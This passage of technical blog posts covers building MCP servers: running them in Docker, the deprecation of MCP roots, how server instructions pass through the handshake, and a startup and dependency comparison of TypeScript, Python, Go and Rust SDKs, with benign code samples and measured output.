'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"curl","version":"1.0.0"}}}' ``` ```text event: message data: {"result":{"protocolVersion":"2025-06-18","capabilities":{"tools":{"listChanged":true}},"serverInfo":{"name":"docs-http","version":"1.0.0"}},"jsonrpc":"2.0","id":1} ``` --- ## Frequently asked questions ## Frequently asked questions ### How do I run an MCP server in Docker? Build an image whose `CMD` starts the server in exec form, then point your MCP client at `docker` as the command with `run -i --rm your-image` as the args. For a stdio server you do not publish a port; the client talks to the container over stdin and stdout. ### Why does my MCP server in Docker exit immediately? You are almost certainly missing the `-i` flag. Without it the container's stdin is closed at startup, so the server reads end-of-file and shuts down cleanly with exit code 0. The client reports `CONNECTION_CLOSED` while Docker reports success. ### Do I need to EXPOSE a port for an MCP server in Docker? Not for stdio, which is what most desktop MCP clients use. The client attaches to the process rather than connecting to a socket, so there is nothing to expose. You only publish a port when you deliberately use the HTTP transport. ### Why can my containerized MCP server not see my files? The container has its own filesystem, so anything it should read must be bind-mounted in with `-v`. On macOS and Windows there is a second trap: if the host path is not shared into Docker's virtual machine, the mount silently produces an empty directory instead of an error. ### Is an MCP server slower in Docker? Slightly, and only at startup. Measured on one machine, connecting and listing tools took about 91 ms running Node directly and about 135 ms through `docker run`. That cost is paid once per client session, not per tool call. ### Should I use CMD ["npm", "start"] in an MCP Dockerfile? No. Use the exec form `CMD ["node", "server.js"]` so the server is PID 1 and owns stdin and stdout directly. Running it under npm inserts a process that does not forward signals cleanly, so containers linger after the client disconnects. The pattern generalizes past this example. Any stdio MCP server can be containerized by making the client's command `docker` and mounting in whatever the server reads. The work is in the mounts and the flags, not the protocol. MCPOrbit connects straight to a containerized server over stdio or HTTP, so you can call its tools by hand and confirm the mounts and environment are right before you hand the image to anyone else. [Download MCPOrbit for macOS](/api/download) --- # What are MCP roots? URL: https://mcporbit.com/blog/what-are-mcp-roots Author: Mark, Head of Marketing, MCPOrbit Published: 2026-09-02 Updated: 2026-09-04 Category: Field notes Tags: MCP, Roots, Protocol, SEP-2577, Engineering MCP roots let a client tell a server which folders it may use. The 2026-07-28 spec deprecates them, and roots/list now fails before it reaches the wire. Roots are how a Model Context Protocol (MCP) client tells a server which directories it is allowed to work in: a list of `file://` URIs the client hands over on request. As of the 2026-07-28 specification they are deprecated under SEP-2577, and on that protocol version `roots/list` does not work at all. The revision removed the server-to-client request channel, so the call fails inside the SDK before anything reaches the wire. If you are writing a server today, take the path as a tool argument instead. That is a stronger statement than most of what is written about roots, so this post shows the experiment rather than describing it. The short version: roots is not a feature you should design around in 2026. It is a legacy-era feature you may still need to recognize in older servers. - A root is two fields: a `uri` that must start with `file://`, and an optional human-readable `name`. - Roots were a client capability. The client declared them, and the server pulled the list with a `roots/list` request. - SEP-2577 deprecates roots, sampling, and logging together, as of protocol revision 2026-07-28. The window is at least twelve months. - On 2026-07-28 the deprecation has teeth. `roots/list` is a server-to-client request, and that revision has no server-to-client request channel, so the call fails before transmission. - This is protocol-level, not a quirk of one SDK. The Go SDK and the TypeScript SDK both refuse it, for the same stated reason. - The `notifications/roots/list_changed` notification still arrives, because it travels client to server, which is a direction that still exists. - The replacement is ordinary: pass the path as a tool parameter, a resource URI, or configuration. For the interactive case, use Multi Round-Trip Requests (SEP-2322). ## What is an MCP root? A root is a directory or file the client has granted the server access to. The data shape is small. This is what a `roots/list` response looked like. ```json { "roots": [ { "uri": "file:///Users/you/projects/api", "name": "api" }, { "uri": "file:///Users/you/projects/web", "name": "web" } ] } ``` The `uri` must start with `file://`. The spec reserved the right to relax that later, and never did. The `name` is for display, so a user can see which folder a server is asking about. The important part is the direction. Roots were a client capability, not a server one. The client held the list, and the server had to ask for it. In the Go SDK the client declares its roots before it connects. ```go // The client owns the roots. It declares them before connecting. client := mcp.NewClient(&mcp.Implementation{Name: "roots-probe", Version: "1.0.0"}, nil) client.AddRoots( &mcp.Root{URI: "file:///Users/you/projects/api", Name: "api"}, &mcp.Root{URI: "file:///Users/you/projects/web", Name: "web"}, ) ``` The server then asks for that list from inside a tool handler, which is the pattern nearly every roots tutorial shows. ```go mcp.AddTool(server, &mcp.Tool{ Name: "show_roots", Description: "Ask the client which directories it has granted.", }, func(ctx context.Context, req *mcp.CallToolRequest, _ none) (*mcp.CallToolResult, any, error) { // The SERVER calls back into the CLIENT here. This is roots/list. res, err := req.Session.ListRoots(ctx, nil) if err != nil { return nil, nil, fmt.Errorf("%w", err) } var b strings.Builder for _, r := range res.Roots { fmt.Fprintf(&b, "%s (%s)\n", r.URI, r.Name) } return &mcp.CallToolResult{ Content: []mcp.Content{&mcp.TextContent{Text: strings.TrimSpace(b.String())}}, }, nil, nil }) ``` That code compiles against the current SDK. It also does not work, and the reason is the interesting part. ## What changed in the 2026-07-28 spec? Two things, and only one of them is the deprecation. SEP-2577 deprecates roots, sampling, and logging as of revision 2026-07-28, with a window of at least twelve months. On its own, a deprecation would mean the feature keeps working while you migrate. The second change is what actually breaks it. The 2026-07-28 revision removed the server-to-client request channel. In the 2025 model a server could reach back through an open connection and ask the client a question, which is how `roots/list`, `sampling/createMessage`, and elicitation all worked. That channel is gone, replaced by `input_required` results carrying `inputRequests`, which is Multi Round-Trip Requests under SEP-2322. > **The distinction that matters** > > Roots is not slowly winding down. It is deprecated on paper and already non-functional on the current protocol version, because the transport pattern it depended on was removed in the same revision. ## What happens if you call roots/list today? It fails, with an error that names the replacement. This is the real output from the server above, built on Go 1.27.0 with `github.com/modelcontextprotocol/go-sdk` v1.7.0, driven by a real client over stdio. ```text "roots/list" cannot be sent while serving a request on protocol version 2026-07-28: return an InputRequests map instead (multi round-trip requests, SEP-2322) ``` The wording suggests a timing problem, as though calling it outside a request would work. It does not. Here is the same call from its own goroutine, on a background context, with no request in flight. ```go // Not inside any request. Its own goroutine, its own background context. go func() { time.Sleep(50 * time.Millisecond) res, err := ss.ListRoots(context.Background(), nil) if err != nil { fmt.Fprintf(os.Stderr, "[outside-request] ERROR: %v\n", err) return } fmt.Fprintf(os.Stderr, "[outside-request] OK, %d root(s)\n", len(res.Roots)) }() ``` ```text [outside-request] calling roots/list out of band [outside-request] ERROR: "roots/list" cannot be sent while serving a request on protocol version 2026-07-28: return an InputRequests map instead (multi round-trip requests, SEP-2322) ``` Identical error. There is no context in which `roots/list` succeeds on 2026-07-28, because the failure is not about request state. The SDK is refusing to send a message that the negotiated protocol revision has no channel for. ### This is not one SDK being conservative The TypeScript SDK refuses it too, and its source says why in plain terms. The guard covers `createMessage`, `elicitInput`, `listRoots`, and `ping` together, and describes the 2026-07-28 revision as having no server-to-client request channel, so the call fails before any wire transmission. Two independent implementations, one reason. > The 2025 push-style server-to-client request model is replaced by input_required results in the 2026-07-28 protocol. If your factory serves both eras, this only works on the legacy path. > — @modelcontextprotocol/server 2.0.0, source comment on listRoots That last sentence is the one useful escape hatch. Roots still functions if the session negotiates a legacy protocol revision such as 2025-06-18. If you maintain a server that must talk to older clients, the code path is still there. Nothing you write against the current revision will use it. ## Does anything about roots still work? One piece does, and it is worth knowing because it explains the rule. When the client changed its root list mid-session, the server still received the notification. ```text [notification] roots/list_changed received ``` That notification travels from client to server, which is a direction the 2026-07-28 revision still has. Only the server-to-client request direction was removed. So a server can still be told that something changed, and then has no supported way to ask what it changed to. That is not a useful pair, which is why the whole feature is deprecated rather than half of it. ## What should you use instead of MCP roots? The SDK deprecation notice names three replacements: tool parameters, resource URIs, and configuration. For most servers the first one is the whole answer, and it is less code than roots ever was. ```go type IndexInput struct { Root string `json:"root" jsonschema:"absolute path of the directory to index"` } mcp.AddTool(server, &mcp.Tool{ Name: "index_project", Description: "Index a project directory. The caller supplies the path.", }, func(ctx context.Context, req *mcp.CallToolRequest, in IndexInput) (*mcp.CallToolResult, any, error) { // The path arrives as an argument. No callback, no capability, no round trip. return nil, map[string]any{"indexed": in.Root}, nil }) ``` The path is now an ordinary argument with a description the model reads. No capability negotiation, no callback, no round trip, and it works on every protocol revision. It is also easier to test, because you can call the tool with a path instead of standing up a client that declares roots. Configuration covers the case where the directory is fixed for the life of the server. Pass it as an environment variable or a command-line flag in the client's server entry, and the server never has to ask. This is what most filesystem-style MCP servers already do. The remaining case is genuinely interactive: the tool needs to ask the user something mid-call. That is what Multi Round-Trip Requests replaced the push channel with. The tool returns an `input_required` result carrying `inputRequests` and an opaque `requestState`, and the client comes back with the answer. --- ## Frequently asked questions ## Frequently asked questions ### What are roots in MCP? Roots are a list of `file://` URIs that an MCP client grants a server access to, each with an optional display name. The client owned the list and the server retrieved it with a `roots/list` request. The feature is deprecated as of the 2026-07-28 specification. ### Are MCP roots deprecated? Yes. SEP-2577 deprecates roots, sampling, and logging as of protocol revision 2026-07-28, with a stated window of at least twelve months. Unlike a normal deprecation, `roots/list` already fails on that revision, because the same release removed the server-to-client request channel it depended on. ### Why does roots/list fail with an error about multi round-trip requests? Because `roots/list` is a server-to-client request, and the 2026-07-28 revision has no server-to-client request channel. The SDK refuses the call before it reaches the wire and points you at `inputRequests` (SEP-2322), which is the mechanism that replaced push-style server-to-client calls. ### How does an MCP server get a directory path now? Take it as a tool parameter, a resource URI, or configuration. A tool argument is usually the right answer: declare a `root` field on your input struct, describe it, and the model supplies the path. It works on every protocol revision and needs no capability negotiation. ### Do MCP roots still work on older protocol versions? Yes. If a session negotiates a legacy revision such as 2025-06-18, the push-style path is still available and `roots/list` works. Only sessions on 2026-07-28 and later refuse it. Servers that must support both eras keep the legacy path for old clients. ### Does the roots/list_changed notification still fire? Yes, because it travels from client to server and that direction still exists. Your server can still be told the root list changed, but on 2026-07-28 it has no supported way to ask what the new list is. The short version: roots answered a real question, which is how a server learns what it is allowed to touch. The 2026-07-28 answer to that question is a tool parameter. If you are reading a roots tutorial written before mid-2026, it is describing a protocol revision you are probably not running. MCPOrbit connects to each server and lists every tool it exposes with its full input schema, so a server quietly serving a tool list you did not expect does not stay a surprise. [Download MCPOrbit for macOS](/api/download) --- # What Are MCP Server Instructions? URL: https://mcporbit.com/blog/what-are-mcp-server-instructions Author: Mark, Head of Marketing, MCPOrbit Published: 2026-09-02 Updated: 2026-09-04 Category: MCP Explainers Tags: MCP, Instructions, Protocol, Node.js MCP server instructions are one optional string from the handshake. The SDK stores it and never reads it, so whether the model sees it is the host's call. MCP server instructions are a single optional string your server returns during the handshake, meant to tell the model how to use the server as a whole. It is the only place a Model Context Protocol (MCP) server speaks to the model outside a tool description. The catch is that it does nothing on its own: the client SDK stores the string and never reads it again. That gap is the whole story. The protocol guarantees delivery of `instructions` to the client. It guarantees nothing about the model ever seeing it. We built a server and a client on the 2.0.0 SDKs, drove them over real stdio, and read the SDK source to find out exactly where the string goes and where it stops. - `instructions` is one optional string on the handshake result, not a per-tool field - The client SDK writes it on connect and reads it in exactly one place: `getInstructions()` - Two handshakes carry it: the 2025 era `initialize` and the 2026-07-28 era `server/discover` - An empty string is silently dropped from the wire, because the server guards on truthiness - There is no instructions-changed notification, unlike tools, prompts, resources, and roots ## What are MCP server instructions? Instructions are server-level guidance for the model. A tool description explains one tool. Instructions explain the server: which tool to call first, what an identifier means, what the model should not assume. You set the string once, when you construct the server. Here is the full server we tested. It has two tools with a real ordering constraint between them, which is exactly the kind of thing a tool description cannot express on its own. ```javascript // server.mjs import { McpServer } from "@modelcontextprotocol/server"; import { serveStdio } from "@modelcontextprotocol/server/stdio"; import { z } from "zod"; serveStdio(() => { const server = new McpServer( { name: "invoice-server", version: "1.0.0" }, { capabilities: { tools: {} }, instructions: "Always call list_periods before get_invoice. Invoice IDs are period scoped and are not stable across periods.", } ); server.registerTool( "list_periods", { description: "List billing periods.", inputSchema: {} }, async () => ({ content: [{ type: "text", text: "2026-07, 2026-08" }] }) ); server.registerTool( "get_invoice", { description: "Get an invoice by id.", inputSchema: { id: z.string() } }, async ({ id }) => ({ content: [{ type: "text", text: `invoice ${id}` }] }) ); return server; }); ``` Note that `serveStdio` takes a factory function, not a server instance. It calls the factory once per connection and pins that instance for the connection's lifetime. Passing a constructed server instead of a factory is a quiet failure: the handshake answers `-32603 Internal server error` with nothing on stderr. The factory shape matters for instructions specifically. Because the string is read from the constructor options each time the factory runs, per-connection instructions are possible. Building the string inside the factory is the only supported hook for varying it. ## What does an MCP client actually do with the instructions string? It stores it. That is the entire behavior of the SDK. We traced every reference to the private `_instructions` field in `@modelcontextprotocol/client` 2.0.0 and found six: one declaration, one reset to `undefined` on close, three writes (one per handshake path), and one read. ```javascript // the only read of _instructions in the client SDK getInstructions() { return this._instructions; } ``` Nothing in the SDK feeds that string into a prompt, a tool list, or a system message. It cannot, because a protocol SDK does not own the model call. So the honest answer to "what does the client do with instructions" is: it hands them to the host application and stops. > **The practical consequence** > > Your instructions string reaches the model only if the host app chooses to inject it. Different hosts make different choices, and none of them are obliged to tell you. Write instructions that improve behavior when read and cost nothing when ignored. Reading the value back takes three lines. This client connects to the server above over stdio and prints what it received. ```javascript // client.mjs import { Client } from "@modelcontextprotocol/client"; import { StdioClientTransport } from "@modelcontextprotocol/client/stdio"; const client = new Client({ name: "probe", version: "1.0.0" }); await client.connect(new StdioClientTransport({ command: "node", args: ["server.mjs"] })); console.log("era: ", client.getProtocolEra()); console.log("negotiated: ", client.getNegotiatedProtocolVersion()); console.log("getInstructions():", JSON.stringify(client.getInstructions())); await client.close(); ``` ```text era: legacy negotiated: 2025-11-25 getInstructions(): "Always call list_periods before get_invoice. Invoice IDs are period scoped and are not stable across periods." ``` ## Which handshake carries the instructions field? Two of them, and which one you get depends on a client option most people never set. The 2025 era uses an `initialize` request. The 2026-07-28 revision uses `server/discover`. The `instructions` field is byte-identical across both, but the envelope around it is not. The 2025 era handshake looks like this on the wire. This is the raw response from the server above. ```json { "result": { "protocolVersion": "2025-11-25", "capabilities": { "tools": { "listChanged": true } }, "serverInfo": { "name": "invoice-server", "version": "1.0.0" }, "instructions": "Always call list_periods before get_invoice. Invoice IDs are period scoped and are not stable across periods." }, "jsonrpc": "2.0", "id": 1 } ``` The 2026-07-28 handshake moves the client's identity into a `_meta` envelope and returns a richer result. Send `server/discover` without that envelope and the stdio entry treats the message as claim-less, routes it to a 2025 era instance, and answers `-32601 Method not found`. ```json { "jsonrpc": "2.0", "id": 1, "method": "server/discover", "params": { "_meta": { "io.modelcontextprotocol/protocolVersion": "2026-07-28", "io.modelcontextprotocol/clientInfo": { "name": "wire", "version": "1.0.0" }, "io.modelcontextprotocol/clientCapabilities": {} } } } ``` ```json { "result": { "supportedVersions": ["2026-07-28"], "capabilities": { "tools": { "listChanged": true } }, "instructions": "Always call list_periods before get_invoice. Invoice IDs are period scoped and are not stable across periods.", "resultType": "complete", "ttlMs": 0, "cacheScope": "private", "_meta": { "io.modelcontextprotocol/serverInfo": { "name": "invoice-server", "version": "1.0.0" } } }, "jsonrpc": "2.0", "id": 1 } ``` The new fields are the interesting part. `ttlMs` and `cacheScope` mean the modern handshake result is a cacheable artifact, so your instructions string can be stored and replayed on later connections rather than re-fetched. The SDK default is `ttlMs: 0` with `cacheScope: "private"`, which tells the client not to cache it at all. ### The client defaults to the older handshake `versionNegotiation.mode` defaults to `'legacy'` in client 2.0.0. A plain `new Client(...)` never attempts `server/discover`, even against a server that supports it. You opt in with `'auto'` to probe, or pin a revision outright. ```javascript // probe for a modern revision, fall back to legacy const client = new Client( { name: "probe", version: "1.0.0" }, { versionNegotiation: { mode: "auto" } } ); // or pin it and fail loudly if the server cannot meet it const pinned = new Client( { name: "probe", version: "1.0.0" }, { versionNegotiation: { mode: { pin: "2026-07-28" } } } ); ``` Running the same probe in all three modes against the same server gives the result below. The instructions string survives every path unchanged, which is the reassuring half. The era and the surrounding metadata do not, which is the half that affects your caching and your debugging. ```text default era=legacy negotiated=2025-11-25 getInstructions() = "Always call list_periods before get_invoice..." mode:auto era=modern negotiated=2026-07-28 getInstructions() = "Always call list_periods before get_invoice..." discover.ttlMs=0 cacheScope=private pin:2026-07-28 era=modern negotiated=2026-07-28 getInstructions() = "Always call list_periods before get_invoice..." discover.ttlMs=0 cacheScope=private ``` ## Why does an empty instructions string disappear? Because the server guards on truthiness, not on `undefined`. The line that builds the handshake result is a conditional spread, so any falsy value drops the key entirely. ```javascript // @modelcontextprotocol/server 2.0.0, handshake result assembly ...this._instructions && { instructions: this._instructions } ``` We sent four values through a real handshake and read the key off the wire each time. An empty string and an unset field are indistinguishable to the client. A single space is not. ```text server sets "" -> key on wire: false value: undefined server sets " " -> key on wire: true value: " " server sets "Call list_periods first." -> key on wire: true value: "Call list_periods first." server sets undefined (not set) -> key on wire: false value: undefined ``` This matters if you template your instructions. A string built from config that renders empty vanishes with no warning, no log line, and a completely successful handshake. A string that renders as whitespace ships and occupies context for nothing. Neither shows up in a health check that only asserts the server connected. ## Can you update instructions after the handshake? Not through a push. Every other listable thing in MCP has a change notification. Instructions have none. Here is the complete notification vocabulary in server 2.0.0: - `notifications/tools/list_changed` - `notifications/prompts/list_changed` - `notifications/resources/list_changed` - `notifications/resources/updated` - `notifications/roots/list_changed` - `notifications/progress`, `notifications/cancelled`, `notifications/message`, and the rest of the transport-level set No entry for instructions. The string is a handshake artifact, and the protocol has no way to tell a connected client that it went stale. A client can re-issue the handshake request and get a fresh copy. We sent `initialize` twice on one connection and `server/discover` twice on another, and both answered successfully both times with instructions intact. But a pull nobody knows to make is not a refresh mechanism. Treat instructions as fixed for the life of a connection, and put anything that genuinely changes into a resource or a tool result instead. ## What should you put in the instructions field? Write what a tool description structurally cannot say. A tool description is scoped to one tool, so anything about the relationship between tools has nowhere else to live. That is the field's real job. - Call ordering: which tool has to run before another, and why - Identifier semantics: what an ID is scoped to and when it stops being valid - Scope limits: what this server does not cover, so the model stops guessing - Cost or rate warnings that apply to the server as a whole Keep it short. The string is prepended to context on every connection that uses it, so it competes directly with the tool descriptions it is supposed to support. Two or three sentences of constraint beat a paragraph of description. Do not restate what your tool descriptions already say, and do not put secrets in it: instructions are handed to the client before any authorization decision the model makes. ## Frequently asked questions ## Frequently asked questions ### What are MCP server instructions? They are a single optional string an MCP server returns during the handshake, describing how to use the server as a whole. Unlike a tool description, which covers one tool, instructions cover the relationship between tools, such as required call ordering or what an identifier is scoped to. ### Does the model automatically see MCP server instructions? No. The client SDK stores the string and exposes it through `getInstructions()`, and that is all it does with it. Whether the string is injected into the model's context is a decision the host application makes, and hosts differ. ### How do I set instructions on an MCP server? Pass an `instructions` string in the options object of the `McpServer` constructor, alongside `capabilities`. In `@modelcontextprotocol/server` 2.0.0 with `serveStdio`, construct the server inside the factory function so the value is computed once per connection. ### Why are my MCP server instructions not showing up? The most common cause is an empty string. The server builds the handshake result with a truthiness guard, so `instructions: ""` drops the key from the response entirely and looks identical to never setting it. Check the raw handshake response rather than your config. ### Can an MCP server change its instructions while a client is connected? Not by pushing an update. There is no instructions-changed notification, even though tools, prompts, resources, and roots all have one. A client can re-issue the handshake request to pull a fresh copy, but nothing tells it to, so treat instructions as fixed for the connection. ### Is the instructions field different in the 2026-07-28 MCP revision? The field itself is unchanged, but it arrives on `server/discover` instead of `initialize`, and the result carries `ttlMs` and `cacheScope` so it can be cached. Client 2.0.0 defaults to the older handshake, so you have to opt in with `versionNegotiation` to reach the newer path. Tested end to end on Node 25.8.1 with `@modelcontextprotocol/server` 2.0.0, `@modelcontextprotocol/client` 2.0.0, and `zod` 4.4.3. Every wire payload above is copied from a real run, not reconstructed from the spec. MCPOrbit connects to your server and lists every tool it exposes with its full description and input schema. Connect a server and check whether the tools you think you are shipping are the ones that arrive. [Download MCPOrbit for macOS](/api/download) --- # Which language should you build an MCP server in? URL: https://mcporbit.com/blog/which-language-should-you-build-an-mcp-server-in Author: MCPOrbit Team, Engineering, MCPOrbit Published: 2026-09-02 Updated: 2026-09-03 Category: Field notes Tags: MCP, TypeScript, Python, Go, Rust, SDK We built the same MCP server in TypeScript, Python, Go and Rust, then measured startup, dependencies and binary size. The numbers pick for you. Pick the language your team already ships. If that leaves a genuine choice: use Python to get something working today, TypeScript if the server will also run over HTTP, Go if you need one binary you can hand to somebody, and Rust if the server starts and stops constantly. Every MCP feature you care about exists in all four SDKs, so this is a question about packaging and startup, not capability. We got tired of answering this from memory, so we built the same server four times. One tool, called `reverse_text`, taking one string and returning it backwards. Identical behavior in every language. Then we measured what actually differs. **What we measured** - Startup to a completed `initialize` handshake spans two orders of magnitude: Rust 3.5 ms, Go 6.5 ms, TypeScript 120.6 ms, Python 454.6 ms. - Dependency counts invert the stereotype. TypeScript pulls 3 packages. Python pulls 28, including a full ASGI web stack you never asked for. - Go and Rust hand you a single binary: 9.4 MB and 2.6 MB. TypeScript and Python ship source plus a dependency tree. - Only the Rust SDK negotiated the current 2026-07-28 revision. The other three fell back to 2025-11-25. - Go and Python generate an `outputSchema` and return `structuredContent` for free. TypeScript and Rust make you opt in. ## The measurements, side by side Everything below was measured on one machine, an M-series Mac, on 2026-08-28. Startup is the median of six warm runs, timed from process spawn to the `initialize` response landing on stdout. The first run of each binary is discarded because it pays a cold page-cache cost that no real client sees twice. ```text TypeScript Python Go Rust SDK server 2.0.0 mcp 2.1.1 v1.7.0 rmcp 3.1.4 Lines for one tool 18 8 26 46 Dependencies 3 packages 28 packages 8 modules 81 crates Dev tree on disk 14.4 MB 35.0 MB 63.4 MB 214.7 MB Shipped artifact source + deps source + deps 9.4 MB bin 2.6 MB bin Handshake (warm median) 120.6 ms 454.6 ms 6.5 ms 3.5 ms Negotiated revision 2025-11-25 2025-11-25 2025-11-25 2026-07-28 Auto outputSchema no yes yes no ``` Two of those columns surprised us, and they are the reason this post exists rather than a table of vibes. ## Why is Python's MCP server 130x slower to start than Rust's? Because it imports a web framework to serve stdio. Installing `mcp` 2.1.1 pulls 28 packages, and the list includes `starlette`, `uvicorn`, `sse-starlette` and `cryptography`. Those exist for the HTTP transport. You pay their import cost on every start even when your server only speaks stdio. 454 ms sounds survivable, and for a long-lived server it is. It stops being survivable when a client spawns your server per request, or when a user has fifteen stdio servers configured and every one of them costs half a second of app startup. That is the case where the number matters. ```bash $ uv pip list | wc -l 28 $ uv pip list | grep -E 'starlette|uvicorn|cryptography' cryptography==50.0.1 sse-starlette==3.4.8 starlette==1.6.0 uvicorn==0.52.4 ``` > **The stereotype is backwards** > > TypeScript is the lean one here. The v2 SDK split the old monolithic `@modelcontextprotocol/sdk` package apart, and a stdio server needs exactly three: `@modelcontextprotocol/server`, `@modelcontextprotocol/core` and `zod`. 14.4 MB of node_modules total. ## What does each SDK actually make you write? Line counts are a crude proxy, but the shape of the code is not. Here is the same tool in all four, complete and runnable. ### Python: 8 lines, and the type hints are the schema ```python from mcp.server import MCPServer mcp = MCPServer("reverse-py") @mcp.tool() def reverse_text(text: str) -> str: """Reverse a string.""" return text[::-1] if __name__ == "__main__": mcp.run() ``` Nothing else. The parameter annotation becomes the input schema, the docstring becomes the description, and the return annotation becomes an `outputSchema`. This is the shortest path from idea to a working tool in any of the four, and it is not close. ### TypeScript: 18 lines, Zod carries the schema ```javascript import { McpServer } from "@modelcontextprotocol/server"; import { serveStdio } from "@modelcontextprotocol/server/stdio"; import { z } from "zod"; function createServer() { const server = new McpServer({ name: "reverse-ts", version: "1.0.0" }); server.registerTool( "reverse_text", { description: "Reverse a string.", inputSchema: { text: z.string().describe("The text to reverse") }, }, async ({ text }) => ({ content: [{ type: "text", text: [...text].reverse().join("") }], }), ); return server; } serveStdio(createServer, { onerror: (e) => console.error("[mcp]", e.message) }); ``` Two things in that snippet cost us time, and neither is in the quickstart. `serveStdio` lives at the `@modelcontextprotocol/server/stdio` subpath, not the package root, so an HTTP-only deployment does not drag in the stdio shims. And it takes a factory function, not a server instance. > **The error you will hit** > > Pass `serveStdio` a server instead of a factory and every request returns `{"code": -32603, "message": "Internal server error"}` with nothing on stderr. The transport swallows it. Pass an `onerror` callback and the real exception appears. The factory exists because the stdio transport may build more than one instance while it probes which protocol era the client speaks. ### Go: 26 lines, struct tags carry the schema ```go package main import ( "context" "log" "github.com/modelcontextprotocol/go-sdk/mcp" ) type ReverseInput struct { Text string `json:"text" jsonschema:"the text to reverse"` } type ReverseOutput struct { Reversed string `json:"reversed" jsonschema:"the reversed text"` } func Reverse(ctx context.Context, req *mcp.CallToolRequest, in ReverseInput) (*mcp.CallToolResult, ReverseOutput, error) { r := []rune(in.Text) for i, j := 0, len(r)-1; i < j; i, j = i+1, j-1 { r[i], r[j] = r[j], r[i] } return nil, ReverseOutput{Reversed: string(r)}, nil } func main() { server := mcp.NewServer(&mcp.Implementation{Name: "reverse-go", Version: "1.0.0"}, nil) mcp.AddTool(server, &mcp.Tool{Name: "reverse_text", Description: "Reverse a string."}, Reverse) if err := server.Run(context.Background(), &mcp.StdioTransport{}); err != nil { log.Fatal(err) } } ``` The typed return value is the interesting part. Because `Reverse` returns a concrete `ReverseOutput`, the SDK generates an `outputSchema` from the struct and emits `structuredContent` on every call without being asked. Python does the same from its return annotation. TypeScript and Rust both return content blocks by default and make structured output an explicit choice. ### Rust: 46 lines, and the compiler negotiates ```rust use rmcp::{ ErrorData, ServerHandler, ServiceExt, handler::server::{router::tool::ToolRouter, wrapper::Parameters}, model::{CallToolResult, ContentBlock, Implementation, ServerCapabilities, ServerInfo}, tool, tool_handler, tool_router, transport::stdio, }; use schemars::JsonSchema; use serde::Deserialize; #[derive(Debug, Deserialize, JsonSchema)] pub struct ReverseArgs { /// The text to reverse pub text: String, } #[derive(Clone)] pub struct Reverse { tool_router: ToolRouter, } #[tool_router] impl Reverse { pub fn new() -> Self { Self { tool_router: Self::tool_router() } } #[tool(description = "Reverse a string.")] async fn reverse_text( &self, Parameters(args): Parameters, ) -> Result { let out: String = args.text.chars().rev().collect(); Ok(CallToolResult::success(vec![ContentBlock::text(out)])) } } #[tool_handler] impl ServerHandler for Reverse { fn get_info(&self) -> ServerInfo { ServerInfo::new(ServerCapabilities::builder().enable_tools().build()) .with_server_info(Implementation::new("reverse-rs", "1.0.0")) } } #[tokio::main] async fn main() -> Result<(), Box> { let service = Reverse::new().serve(stdio()).await?; service.waiting().await?; Ok(()) } ``` Two compile errors are worth knowing about before you start. `rmcp` 3.1.4 calls the content type `ContentBlock`, not `Content`. And both `Implementation` and `ServerInfo` are marked `#[non_exhaustive]`, so a struct literal fails with `E0639` no matter how many fields you fill in. Use the constructors: `Implementation::new(name, version)` and `ServerInfo::new(capabilities).with_server_info(...)`. ## Do all four SDKs support the same MCP spec revision? No, and this is the finding we did not expect. We sent every server an identical `initialize` asking for protocol version `2026-07-28`. Only `rmcp` answered with `2026-07-28`. Go and Python both negotiated down to `2025-11-25`. TypeScript rejected `2026-07-28` outright over the legacy `initialize` path and had to be asked for `2025-11-25`. ```javascript // @modelcontextprotocol/server 2.0.0 import { LATEST_PROTOCOL_VERSION, SUPPORTED_PROTOCOL_VERSIONS } from "@modelcontextprotocol/server"; LATEST_PROTOCOL_VERSION; // "2025-11-25" SUPPORTED_PROTOCOL_VERSIONS; // ["2025-11-25", "2025-06-18", "2025-03-26", "2024-11-05", "2024-10-07"] ``` Do not read that as TypeScript being behind. The v2 SDK implements the 2026-07-28 spec, but it reaches it through the newer `server/discover` handshake rather than the legacy `initialize` call, and it keeps `initialize` pinned to the older revision for clients that still use it. The practical consequence is the same either way: if you are writing against a specific revision, check what your SDK negotiates rather than what its README claims. Version-pin your tests to the revision you actually got. ## So which one should you pick? The honest answer is the one at the top: use what your team already ships. An MCP server is a small program, and the cost of maintaining it in an unfamiliar language dwarfs a 100 ms startup difference. If that genuinely leaves you a free choice, here is how we would decide. - Python if you want it working this afternoon. Eight lines, the type hints are the schema, and `uv` handles the interpreter. The cost is a 455 ms start and 28 dependencies. - TypeScript if the server will also be reachable over HTTP. The v2 SDK's HTTP story is the most complete of the four, and the dependency tree is genuinely small. - Go if somebody who is not you has to run it. One 9.4 MB binary, no runtime to install, no virtualenv to explain, and a 2 second build. - Rust if the process starts and stops constantly, or the binary size is a real constraint. 3.5 ms to handshake and 2.6 MB shipped, paid for with a 17 second cold build and the most code of the four. > **One thing that is not a differentiator** > > Feature coverage. Tools, resources, prompts, structured output and both transports exist in all four SDKs. We have not found a protocol feature you can reach in one and not the others. Pick on packaging and startup, because that is where these four actually diverge. ## How to reproduce these numbers Each server is one file, listed in full above. These are the exact setup commands, with the versions we tested pinned. ```bash # TypeScript, on Node 25.8.1 npm install @modelcontextprotocol/server@2.0.0 zod@4.4.3 node server.js # Python, on 3.11.15 uv venv --python 3.11 uv pip install "mcp>=2.0.0" # resolved to 2.1.1 .venv/bin/python server.py # Go, on 1.27.0 go mod init example.com/reverse go get github.com/modelcontextprotocol/go-sdk@v1.7.0 go mod tidy && go build -o reverse-go . # Rust, on 1.98.0 cargo add rmcp@3.1.4 --features server,transport-io,macros,schemars cargo add tokio@1 --features rt-multi-thread,macros,io-std cargo add serde@1 --features derive cargo add schemars@1 cargo build --release ``` To time a handshake, spawn the server and write one line of JSON-RPC to its stdin, then read one line back. That is the whole measurement. ```bash echo '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2026-07-28","capabilities":{},"clientInfo":{"name":"bench","version":"1.0.0"}}}' \ | ./reverse-go # {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2025-11-25", # "capabilities":{"tools":{"listChanged":true}}, # "serverInfo":{"name":"reverse-go","version":"1.0.0"}}} ``` > **One gotcha in the Python build** > > `mcp` 2.1.1 requires Python 3.10 or newer. The system Python on our machine was 3.9.6, so a plain `pip install` fails. `uv venv --python 3.11` fetched a 3.11.15 interpreter on its own and the install worked with no further setup. Also note `MCPServer` takes no version argument, so `serverInfo.version` comes back as an empty string unless you set it explicitly. --- ## Frequently asked questions ### What is the best language to build an MCP server in? The one your team already maintains code in. If you have 